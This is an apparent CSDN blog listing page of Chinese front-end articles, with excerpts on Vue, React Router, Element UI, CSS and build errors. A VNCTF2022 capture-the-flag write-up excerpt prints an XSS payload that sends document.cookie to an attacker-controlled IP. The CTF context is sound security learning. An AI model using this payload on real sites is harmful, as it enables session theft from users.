前端
文章平均质量分 62
普通网友
这个作者很懒,什么都没留下…
展开
-
axios中timeout的作用
详细axios在项目中使用axios肯定会使用到timeout属性, 常见的写法(1) axios.defaults.timeout = 5000;(2)let instance= axios.create({baseURL: “”,timeout: 5000,});这里的timeout的作用其实就是,设置了在5000毫秒内请求数据 如果没有请求成功就执行错误函数,这里用axios实例举例 如:let instance = axios.create({ baseURL: "https原创 2022-03-12 12:20:04 · 7174 阅读 · 0 评论 -
fastjson报错:write javaBean error, fastjson version 1.2.76, class io.undertow.servlet.xx,已解决
错误信息:com.alibaba.fastjson.JSONException:write javaBean error, fastjson version 1.2.76, class io.undertow.servlet.spec.HttpServletResponseImpl, fieldName : 0,write javaBean error, fastjson version 1.2.76, class io.undertow.server.HttpServerExchange, fiel原创 2022-03-11 21:52:26 · 2988 阅读 · 0 评论 -
elementUI中的Popconfirm弹出框自定义调整(按钮位置,颜色调整)
elementUI中的Popconfirm弹出框自定义调整1.需求2.更改组件3.用法只需要加入这段css样式,注意不能使用scoped<style lang="scss">.el-popconfirm__main { margin: 23px 24px 17px 24px; font-size: 14px; font-family: MicrosoftYaHei; color: #333333;}.el-popconfirm__action { marg原创 2022-03-11 21:49:08 · 2806 阅读 · 1 评论 -
Vue -- Tree 树形控件<el-tree>讲解及应用实例
一、效果展示实验室横向课题中的一个需求,做的是一个文件上传和下载的树形控件文件。要求按照阶段和任务段展示,即第一层是阶段数,第二层是任务段数,第三层是具体的文件。在文件后面有文件上传和下载的按钮。直接上图说明。二、树形控件基础的树形结构:实现代码:el-tree :data="data" :props="defaultProps" @node-click="handleNodeClick"></el-tree><script> export default原创 2022-03-11 19:46:57 · 8442 阅读 · 0 评论 -
react-router-dom v6 通过outlet实现keepAlive 功能
keepAlive代码:import React, { useRef, useEffect, useReducer, useMemo, memo } from 'react'import { TransitionGroup, CSSTransition } from 'react-transition-group'import { useLocation } from 'react-router-dom'const KeepAlive = props => { const { in.原创 2022-03-11 15:46:59 · 2751 阅读 · 2 评论 -
mac code 128 npm ERR An unknown git error occurred
mac code 128 npm ERR! An unknown git error occurred过程1、核对ssh密钥2、检查用户名和email3、怀疑git密码不对新报错1:fatal: bad numeric config value ‘“false”‘ for ‘http.sslverify‘: invalid unit新报错2:error: key does not contain a section: –-global新报错3:could not lock confi原创 2022-03-11 14:23:56 · 1024 阅读 · 0 评论 -
HTML笔记4
大一小何,还在学习当中,欢迎交流指正~要开学了,整理一下最近的笔记目录?内联框架音视频css 简介css语法?选择器常用选择器?复合选择器关系选择器属性选择器伪类选择器?元素的伪类?伪元素选择器结语内联框架内联框架:用于向当前页面中引入一个其他页面src指定要引入的网页路径frameborder指定内联框架的边框<!DOCTYPE html><html lang="en"><head> <meta c.原创 2022-03-11 13:01:49 · 119 阅读 · 0 评论 -
CSS基础之CSS文本属性
文章目录前言1.color2.text-align3.font-size4.text-decoration5.text-indent6.line-height7.文本属性总结前言CSS 文本属性可以设置文本的 外观,比如文本颜色、对齐文本、装饰文本、文本缩进、行间距的等1.colorcolor属性用于定义文本的颜色 <style> div { color: blue; } </style原创 2022-03-11 11:40:23 · 122 阅读 · 0 评论 -
解决vscode中LeetCode插件出现加载web视图时出错的问题
本人在安装并设置完vscode中LeetCode插件后点开其中一个题目出现如下错误:解决方法:1.重新启动vscode2.重新下载LeetCode插件,并检查node位置是否出错原创 2022-03-10 12:36:34 · 1313 阅读 · 0 评论 -
改变this指向的call、apply、bind方法
??博客首页:酸狗的博客????欢迎关注??点赞??收藏留言????热爱前端学习,期待一起交流!??作者水平很有限,如果发现错误,求告知,多谢!????有问题可私信我交流????改变this指向的call、apply、bind方法??call、apply、bind是什么??call、apply、bind用法的相同点和不同点?call、apply的应用??call、apply、bind是什么其是Function对象原型链上的方法,主要作用是改变函数执行时的上下文(改变this指向.原创 2022-03-10 11:15:39 · 82 阅读 · 0 评论 -
从零开始学WEB前端——网页的骨架——HTML理论讲解
??项目介绍先做个自我介绍,本人是一个没人写前端所以就自学前端的后端程序员??。在此项目中我会和大家一起从零基础开始学习前端,从后端程序员的视角来看前端,受限于作者的水平本项目暂时只会更新到前端框架VUE,不会涉及node.js。该项目适合零基础的小白或者和我一样开发网站没人写前端所以自学前端的后端程序员??。该项目的学习顺序是按照我自己学习时总结出来的,其中的每个知识点都是我认真去理解的,同时也查了很多的资料,所有的参考资料我都放在了文章末尾。尊重开源,尊重知识产权。每一个案例我都亲手写过并觉得不错才原创 2022-03-09 13:32:30 · 384 阅读 · 0 评论 -
[BUUCTF][VNCTF2022公开赛]web wp
GameV4.0base64解码即可newcalc0镜像为node:lts-alpine,package.json全部为最新包const express = require("express");const path = require("path");const vm2 = require("vm2");const app = express();app.use(express.urlencoded({ extended: true }));app.use(express.json(原创 2022-03-09 12:12:05 · 876 阅读 · 0 评论 -
Vue中如何使用高德地图
效果图:这是高德地图API文档地址:地图的创建-生命周期-示例中心-JS API 示例 | 高德地图API1.安装vue-amap安装1npm i --save vue-amap@0.5.102.main.js中的配置key申请地址教程:准备-入门-教程-地图 JS API | 高德地图API// 高德离线地图import VueAMap from 'vue-amap';Vue.use(VueAMap); VueAMap.initAMapApiLoader({ // 高德key原创 2022-03-09 10:48:11 · 2483 阅读 · 0 评论 -
vue3 addRoute 页面刷新后 路由失效 [Vue Router warn] No match found for location with path
vue-router 4.0 取消了 addRouters 设置动态路由只能使用 addRouter动态路由一般是从后端获取 然后经过数据格式处理但在页面刷新后会出现一下警告:vue-router.esm-bundler.js6c02:71 [Vue Router warn]: No match found for location with path “/formlist/stepform/other”但通过getRouters又能够获取到所有的异步路由分析:页面刷新后由于是异步获取的原因原创 2022-03-09 09:15:05 · 1947 阅读 · 1 评论 -
uniapp使用cmd引入uview报错,文件查找失败:‘uview-ui‘
uniapp使用cmd引入uview报错,文件查找失败:‘uview-ui’注意,不要使用cmd引入uview插件,使用本地文件导入引入则无该问题存在,且可正常引入。1.App.vue2.main.js3.pages.json4.uni.scss5.uview引入到项目根目录...原创 2022-03-08 14:33:06 · 3143 阅读 · 0 评论 -
Java NoSuchElementException No value present 问题解决
1 问题描述java.util.NoSuchElementException: No value2 问题分析2.1 Java1、使用stream()流里面的max().get()、min().get()、findFirst().get()方法,由于max()、min()、findFirst()方法会返回Optional对象,如果Optional对象里面没有数据,直接调用Optional.get()会报错。 List<Integer> list = new ArrayLis原创 2022-03-08 10:32:04 · 677 阅读 · 0 评论 -
element-plus Icon 图标全局使用方法,可供菜单图标使用
封装组件<template> <el-icon :size="size" :color="color"> <component :is="name"></component> </el-icon></template><script>import { ref, defineComponent } from "vue";import * as Icons from "@element-plus/ic原创 2022-03-08 09:11:54 · 401 阅读 · 0 评论 -
青龙面板仓库推荐 以及修复拉库失败(2.20更新)
交流群QQ群550894783拉库失败的 青龙配置文件config.sh设置这个GithubProxyUrl=“xxxx” 看群公告 更新及时一般都在前三十行 找到后更改小埋库ql repo https://github.com/mmnvnmm/omo.gitJB库ql repo https://github.com/KingRan/KR.git "jd_|jx_|jdCookie" "activity|backUp" "^jd[^_]|USER|utils|function|sign|s原创 2022-03-07 10:37:54 · 6495 阅读 · 1 评论 -
纯前端文档预览,还要支持所有主流格式,有这一篇就足够了
写在前面纯前端的文档预览功能,是非常常见的需求,但就是这么简单的需求,难住了许多可爱的小伙伴们。别急,先访问一下解决方案,给你一个惊喜,再往下看:文件在线预览DEMO服务器文件预览DEMO实现效果word文档预览Excel文档预览PPT文档预览PDF文档预览图片预览文本预览视频预览看完了之后,废话不多说,来给大家梳理梳理实现思路。现存的方案和不足笔者在接到这个功能需求后,对市面上目前的实现方案进行了归纳和梳理,不外乎就三种:PDF预览使用pdfjs,Office文原创 2022-03-07 09:14:24 · 1662 阅读 · 6 评论 -
前端人生的最大危机不是 35 岁,是你工作3年的那道坎儿
前言李笑来常说:“7 年就是一辈子。”寓意人自身的“操作系统”可用 7 年时间完成一次“升级”,形成翻天覆地般的变化。但对于前端程序员来说,7 年太长,往往 3 年就是一个坎儿。打开 BOSS 直聘、猎聘等众多求职软件,你会发现 1-3 年经验的程序员是一个特殊的群体。乍一看,他们起薪尚可,能力要求也以基础为主,挑战并不严峻,甚至有点悠闲。但进入 3-5 年、5-10 年经验程序员的招聘帖子,压力会骤然增大:与岗位职责相关的动词由“参与”变作“承载”,由“提升”变成“保证”;在能力要求上,“熟练掌原创 2022-03-06 04:22:39 · 142 阅读 · 0 评论 -
【值得收藏】面试会用到的十个常用的数组方法JS实现(一)
【手撕代码系列】之十个常用的数组方法JS实现(一)?? 通俗易懂的实现方式,帮助我们认识相应的方法?? 收藏本系列,基础进阶两不误?? 本系列持续更新,欢迎查看线上地址写在前面代码实现系列是与手写代码相关的第一个系列。知识点总结的再多,也离不开思考和实践,否则就是空中楼阁,本系列顺序由浅至深。欢迎大家交流,探讨~一、chunk将数组(array)拆分成多个 size 长度的区块,并将这些区块组成一个新数组。 如果array 无法被分割成全部等长的区块,那么最后剩余的元素将组成一个区块。原创 2022-03-06 03:00:42 · 105 阅读 · 0 评论 -
Vue组件定制——动态查询规则生成组件
1. 动态查询规则动态查询规则,大致如下图所示。是可以按照用户的自定义进行组织查询语句的一种复杂组件,大致可以实现SQL查询的where条件,下面是摘自mongodb的某一软件。2.组件构建思路按照规则组件的组织形式,可以把其视为一棵树,有树干和树叶,这样看起来就不难了。2.1 组件属性data: 是树结构的内容,我们定义为:{condition: ‘AND’,rules: [],}fieldList: 字段列表数组,可供选择的字段集合;operatorList: 操作列原创 2022-03-06 01:39:54 · 1140 阅读 · 1 评论 -
vue3+element-plus里prefix-icon图标使用不显示的问题
问题描述:今天在写项目登录的时候,需要在账号/密码处加上icon图标,但是引用完element-plus/icons之后,还是不行,不显示icon图标。后面发现,当前版本的emement-plus的icon图标不能直接使用了,需要以引用组件的方式引用,而且不能全局引用,只能单独引用,比如说使用user的icon图标,需要 app.component(“user”,user)这样引用之后,再使用prefix-icon="user"下面说下如何不单独引用icon。main.js里面统一注册icon// 统原创 2022-03-06 00:18:30 · 2310 阅读 · 0 评论 -
vue-admin动态路由的实现
前言:项目开发中菜单栏往往是后端基于角色控制的,所以菜单栏通过后端返回,然后在进行渲染,vue-admin这个管理系统模板用的人贼多,以此为例。一、首先打开router/index.js文件吗,把constantRoutes写的静态路由全删了,只留下公共的界面,比如login、404之类的。其他路由后面通过接口获取。二、在store/modules/permission.js进行修改,如果没有文件就创建,该文件使用vuex的状态管理,把菜单信息存储起来,最后把菜单渲染出去// router/in.原创 2022-03-03 23:35:50 · 313 阅读 · 0 评论 -
react-router v6 路由统一管理及路由拦截方案
2022-02-22 更新:重构代码组织,插件化处理(传送门)实现的功能:全局路由统一管理,支持便捷配置路由重定向、路由懒加载、自定义meta字段等。全局路由拦截,支持读取路由meta配置,支持拦截跳转其他路由等。同时也支持嵌套路由、动态路由参数等官方路由原生支持的配置方式。下面分享具体方案。一、react-router v6"react": "^17.0.2","react-router-dom": "^6.2.1","prop-types": "^15.8.1",v6版本.原创 2022-03-03 16:57:04 · 1063 阅读 · 1 评论 -
el-calendar日历的各种样式及事件
效果图班和休互相修改功能el-calendar HTML代码段可以根据自己的需要显示内容,样式<template> <div class="la-container"> <div class="la-info-main"> <!-- 关于日历控件 --> <el-calendar class="lar-el-calendar" v-model="value"原创 2022-03-03 13:43:28 · 3792 阅读 · 2 评论 -
那一天我彻夜未眠,为CSDN收藏夹添加了搜索功能
写在前面:博主是一只经过实战开发历练后投身培训事业的“小山猪”,昵称取自动画片《狮子王》中的“彭彭”,总是以乐观、积极的心态对待周边的事物。本人的技术路线从Java全栈工程师一路奔向大数据开发、数据挖掘领域,如今终有小成,愿将昔日所获与大家交流一二,希望对学习路上的你有所助益。同时,博主也想通过此次尝试打造一个完善的技术图书馆,任何与文章技术点有关的异常、错误、注意事项均会在末尾列出,欢迎大家通过各种方式提供素材。对于文章中出现的任何错误请大家批评指出,一定及时修改。有任何想要讨论和学习的问题可联.转载 2022-03-02 13:30:46 · 114 阅读 · 0 评论 -
解决问题:使用nvm use出现exit status 1与exit status 145乱码
解决问题:使用nvm use出现exit status 1与exit status 145乱码报错提示:exit status 145: ???exit status 1: ???д???**场景:**使用nvm管理node问题分析:status 1:权限不足status 145:安装nvm或nodejs的文件本身或路径有误解决方案:status 1:以管理员身份运行命令提示符即可status 145:①检查安装nvm路径与设置放置nodejs的路径或文件,是否出现空格或中文比如默认原创 2022-03-02 04:33:49 · 5533 阅读 · 0 评论 -
数据可视化----ECharts初体验(一)
引言:当我们做一个后台管理系统时,总有一大堆数据要进行处理,这个时候数据的可视化操作,就显得非常重要,今天让我们一起去学习下ECharts的应用吧。正所谓文不如表,表不如图,把数据用图表的形式展示出来,就是简单的数据可视化。有关数据可视化主要有三种方式:1.报表类 2.商业智能BI 3.编码类我们主要是来学习第三种编码类中的Echarts,官网地址:https://echarts.apache.org/zh/index.htmlECharts 定义:ECharts 是一个使用 JavaScri原创 2022-03-02 03:30:16 · 188 阅读 · 0 评论 -
前端面试篇,应届生面试时被问项目经验不用慌,按这个步骤回答成功率高达95%
金三银四刚过去不久,各家大厂的岗位仍有少量空缺,奈何却招不到合适的人。身边的HR跟我说,最近面试者情况普遍不太理想。一问到项目细节,很多候选人都支支吾吾,答不明白。接下来我作为一个工作了将近 3 年前端er来谈谈一名应届生应该如何去获得满意的 offer。一、说起面试在校招面试时,大家总会感觉心慌慌。可能是不自信,可能是感觉好多没准备好。没关系,既然投递了简历,又通过了筛选,就不要胆怯。首先要知道面试官都是抱着想把你招进来的想法的,只是想多了解你的具体情况。既然面试官愿意花时间和你聊,那么证.原创 2022-03-02 02:26:44 · 673 阅读 · 13 评论 -
【想稳,必看】毕业设计写这个你就赢了《Vue+Node 项目实战:拼多多前后端商城》
拒绝白嫖,各位看客记得点赞评论"妙…啊~~~"在此占坑在某个年纪之前,你可以靠透支身体、小聪明和老天给你的运气一直取巧地活着。然而到了某个年纪之后,真正能让你走远的,都是自律、积极和勤奋。— 后序前言Hello 小伙伴们,如果觉得本文还不错,记得点个赞或者给个收藏。据说点赞、收藏的小伙伴,都能斩获满意度99分 Offer!技术栈项目采用的技术栈是基于:vue + node + mySQL,用vue-cli写的前端,用express搭建的后端应用服务器,数据库用的是MySQL。一、项.原创 2022-03-02 01:23:03 · 443 阅读 · 0 评论 -
vue中引入组件出现The “xxx“ component has been registered but not used vueno-unused-components的原因
看格式没有问题。但是还是出错。但是突然想起header是HTML5的元素,于是把header改为sellheader,运行成功。所以自定义组件时要避免和已有元素标签同名。原创 2022-03-02 00:19:34 · 2452 阅读 · 0 评论 -
VNCTF2022 web wp
GameV4.0js/data.js下有段FLAG的base64加密Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==解码就行VNCTF{Welcome_to_VNCTF2022}gocalc0非预期xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www<script>window.open('http://ip:7777/'+document.cookie)</script>然后把s原创 2022-03-01 21:30:05 · 1092 阅读 · 0 评论